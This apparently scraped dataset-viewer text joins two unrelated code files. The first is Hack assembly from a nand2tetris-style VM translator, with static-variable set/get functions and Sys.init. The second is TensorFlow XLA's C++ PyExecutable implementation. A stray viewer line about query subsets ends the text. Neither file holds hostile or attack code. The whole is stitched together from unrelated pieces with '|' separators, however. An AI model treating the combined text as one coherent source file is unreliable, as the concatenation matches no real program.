@256
D=A
@SP
M=D
@5
D=A
@R13
M=D
@Sys.init
D=A
@R14
M=D
@Sys.init$ret0
D=A
@VM$CALL
0;JMP
(Sys.init$ret0)
(VM$STOP)
@VM$STOP
0;JMP
(VM$CALL)
@SP
AM=M+1
A=A-1
M=D
@LCL
D=M
@SP
AM=M+1
A=A-1
M=D
@ARG
D=M
@SP
AM=M+1
A=A-1
M=D
@THIS
D=M
@SP
AM=M+1
A=A-1
M=D
@THAT
D=M
@SP
AM=M+1
A=A-1
M=D
@R13
D=M
@SP
D=M-D
@ARG
M=D
@R14
A=M
0;JMP
(VM$RETURN)
@5
D=A
@LCL
A=M-D
D=M
@R13
M=D
@SP
AM=M-1
D=M
@ARG
A=M
M=D
D=A
@SP
M=D+1
@LCL
D=M
@R14
AM=D-1
D=M
@THAT
M=D
@R14
AM=M-1
D=M
@THIS
M=D
@R14
AM=M-1
D=M
@ARG
M=D
@R14
AM=M-1
D=M
@LCL
M=D
@R13
A=M
0;JMP
// function Class1.set 0
(Class1.set)
@SP
D=M
@LCL
M=D
// push argument 0 and pop static 0 inplace
@ARG
A=M
D=M
@Class1.0
M=D
// push argument 1 and pop static 1 inplace
@ARG
A=M+1
D=M
@Class1.1
M=D
// push constant 0
@0
D=A
@SP
AM=M+1
A=A-1
M=D
// return
@VM$RETURN
0;JMP
// function Class1.get 0
(Class1.get)
@SP
D=M
@LCL
M=D
// push static 0
@Class1.0
D=M
@SP
AM=M+1
A=A-1
M=D
// push static 1
@Class1.1
D=M
@SP
AM=M+1
A=A-1
M=D
// sub
@SP
AM=M-1
D=M
@SP
A=M-1
M=M-D
// return
@VM$RETURN
0;JMP
// function Class2.set 0
(Class2.set)
@SP
D=M
@LCL
M=D
// push argument 0 and pop static 0 inplace
@ARG
A=M
D=M
@Class2.0
M=D
// push argument 1 and pop static 1 inplace
@ARG
A=M+1
D=M
@Class2.1
M=D
// push constant 0
@0
D=A
@SP
AM=M+1
A=A-1
M=D
// return
@VM$RETURN
0;JMP
// function Class2.get 0
(Class2.get)
@SP
D=M
@LCL
M=D
// push static 0
@Class2.0
D=M
@SP
AM=M+1
A=A-1
M=D
// push static 1
@Class2.1
D=M
@SP
AM=M+1
A=A-1
M=D
// sub
@SP
AM=M-1
D=M
@SP
A=M-1
M=M-D
// return
@VM$RETURN
0;JMP
// function Sys.init 0
(Sys.init)
@SP
D=M
@LCL
M=D
// push constant 6
@6
D=A
@SP
AM=M+1
A=A-1
M=D
// push constant 8
@8
D=A
@SP
AM=M+1
A=A-1
M=D
// call Class1.set 2
@7
D=A
@R13
M=D
@Class1.set
D=A
@R14
M=D
@Class1.set$ret1
D=A
@VM$CALL
0;JMP
(Class1.set$ret1)
// pop temp 0
@SP
AM=M-1
D=M
@5
M=D
// push constant 23
@23
D=A
@SP
AM=M+1
A=A-1
M=D
// push constant 15
@15
D=A
@SP
AM=M+1
A=A-1
M=D
// call Class2.set 2
@7
D=A
@R13
M=D
@Class2.set
D=A
@R14
M=D
@Class2.set$ret2
D=A
@VM$CALL
0;JMP
(Class2.set$ret2)
// pop temp 0
@SP
AM=M-1
D=M
@5
M=D
// call Class1.get 0
@5
D=A
@R13
M=D
@Class1.get
D=A
@R14
M=D
@Class1.get$ret3
D=A
@VM$CALL
0;JMP
(Class1.get$ret3)
// call Class2.get 0
@5
D=A
@R13
M=D
@Class2.get
D=A
@R14
M=D
@Class2.get$ret4
D=A
@VM$CALL
0;JMP
(Class2.get$ret4)
// label WHILE
(Sys.init$WHILE)
// goto WHILE
@Sys.init$WHILE
0;JMP |
/* Copyright 2020 The TensorFlow Authors. All Rights Reserved.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
==============================================================================*/
#include "tensorflow/compiler/xla/python/py_executable.h"
#include "absl/algorithm/container.h"
#include "tensorflow/core/platform/fingerprint.h"
namespace xla {
namespace py = pybind11;
PyExecutable::PyExecutable(std::shared_ptr<PyClient> client,
std::unique_ptr<PjRtExecutable> executable,
std::shared_ptr<Traceback> traceback,
absl::optional<std::string> fingerprint)
: client_(std::move(client)),
executable_(std::move(executable)),
traceback_(std::move(traceback)),
fingerprint_(std::move(fingerprint)) {
CHECK(PyGILState_Check());
next_ = client_->executables_;
client_->executables_ = this;
prev_ = nullptr;
if (next_) {
next_->prev_ = this;
}
options_.untuple_result = true;
if (fingerprint_) {
options_.launch_id = tensorflow::Fingerprint32(*fingerprint_);
VLOG(1) << "Fingerprint for executable " << executable_->name() << ": "
<< *fingerprint_;
}
}
PyExecutable::~PyExecutable() {
CHECK(PyGILState_Check());
if (client_->executables_ == this) {
client_->executables_ = next_;
}
if (prev_) {
prev_->next_ = next_;
}
if (next_) {
next_->prev_ = prev_;
}
}
std::vector<ClientAndPtr<PjRtDevice>> PyExecutable::AddressableDevices() const {
std::vector<ClientAndPtr<PjRtDevice>> devices;
devices.reserve(executable_->addressable_devices().size());
for (PjRtDevice* device : executable_->addressable_devices()) {
devices.push_back(WrapWithClient(client_, device));
}
return devices;
}
// Used by JAX JIT which has C++ PjRtBuffers as inputs (Numpy to PjRtBuffer is
// faster and simpler than Numpy to PyBuffer to PjRtBuffer) and requires
// PyBuffer as outputs as it will return to Python.
StatusOr<std::vector<PyBuffer::object>> PyExecutable::PjRtExecute(
const std::vector<PjRtBuffer*>& args) {
std::vector<std::vector<std::unique_ptr<PjRtBuffer>>> output_buffers;
{
py::gil_scoped_release gil_release;
TF_ASSIGN_OR_RETURN(output_buffers, executable_->Execute({args}, options_));
}
auto traceback = Traceback::Get();
std::vector<PyBuffer::object> outputs;
outputs.reserve(output_buffers[0].size());
for (auto& buffer : output_buffers[0]) {
outputs.push_back(PyBuffer::Make(client_, std::move(buffer), traceback));
}
return outputs;
}
StatusOr<std::vector<PyBuffer::object>> PyExecutable::Execute(
absl::Span<PyBuffer::object const> args) {
std::vector<std::vector<std::unique_ptr<PjRtBuffer>>> output_buffers;
{
py::gil_scoped_release gil_release;
std::vector<PjRtBuffer*> arg_buffers(args.size());
absl::c_transform(
args, arg_buffers.begin(),
[](const PyBuffer::object& buf) { return buf.buf()->buffer(); });
TF_ASSIGN_OR_RETURN(output_buffers,
executable_->Execute({arg_buffers}, options_));
}
auto traceback = Traceback::Get();
std::vector<PyBuffer::object> outputs;
outputs.reserve(output_buffers[0].size());
for (auto& buffer : output_buffers[0]) {
outputs.push_back(PyBuffer::Make(client_, std::move(buffer), traceback));
}
return outputs;
}
StatusOr<std::vector<std::vector<PyBuffer::object>>>
PyExecutable::ExecuteShardedOnLocalDevices(
absl::Span<const std::vector<PyBuffer::object>> args) {
std::vector<std::vector<std::unique_ptr<PjRtBuffer>>> output_buffers;
int num_computations = executable_->addressable_devices().size();
{
py::gil_scoped_release gil_release;
for (const auto& arg : args) {
if (arg.size() != num_computations) {
return xla::InvalidArgument(
"Expected args to execute_sharded_on_local_devices to have %d "
"shards, got: [%s]",
num_computations,
absl::StrJoin(
args, ", ",
[](std::string* out, const std::vector<PyBuffer::object>& arg) {
out->append(std::to_string(arg.size()));
}));
}
}
std::vector<std::vector<PjRtBuffer*>> arg_buffers(num_computations);
const int num_args = args.size();
for (int computation = 0; computation < num_computations; ++computation) {
arg_buffers[computation].resize(num_args);
absl::c_transform(args, arg_buffers[computation].begin(),
[&](const std::vector<PyBuffer::object>& arg) {
return arg[computation].buf()->buffer();
});
}
TF_ASSIGN_OR_RETURN(output_buffers,
executable_->Execute(arg_buffers, options_));
}
auto traceback = Traceback::Get();
int num_output_buffers = output_buffers[0].size();
std::vector<std::vector<PyBuffer::object>> outputs;
outputs.resize(num_output_buffers);
for (int buffer_id = 0; buffer_id < num_output_buffers; ++buffer_id) {
outputs[buffer_id].reserve(num_computations);
for (int computation = 0; computation < num_computations; ++computation) {
outputs[buffer_id].push_back(PyBuffer::Make(
client_, std::move(output_buffers[computation][buffer_id]),
traceback));
}
}
return outputs;
}
StatusOr<std::vector<std::shared_ptr<HloModule>>> PyExecutable::HloModules()
const {
return executable_->GetHloModules();
}
} // namespace xla
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.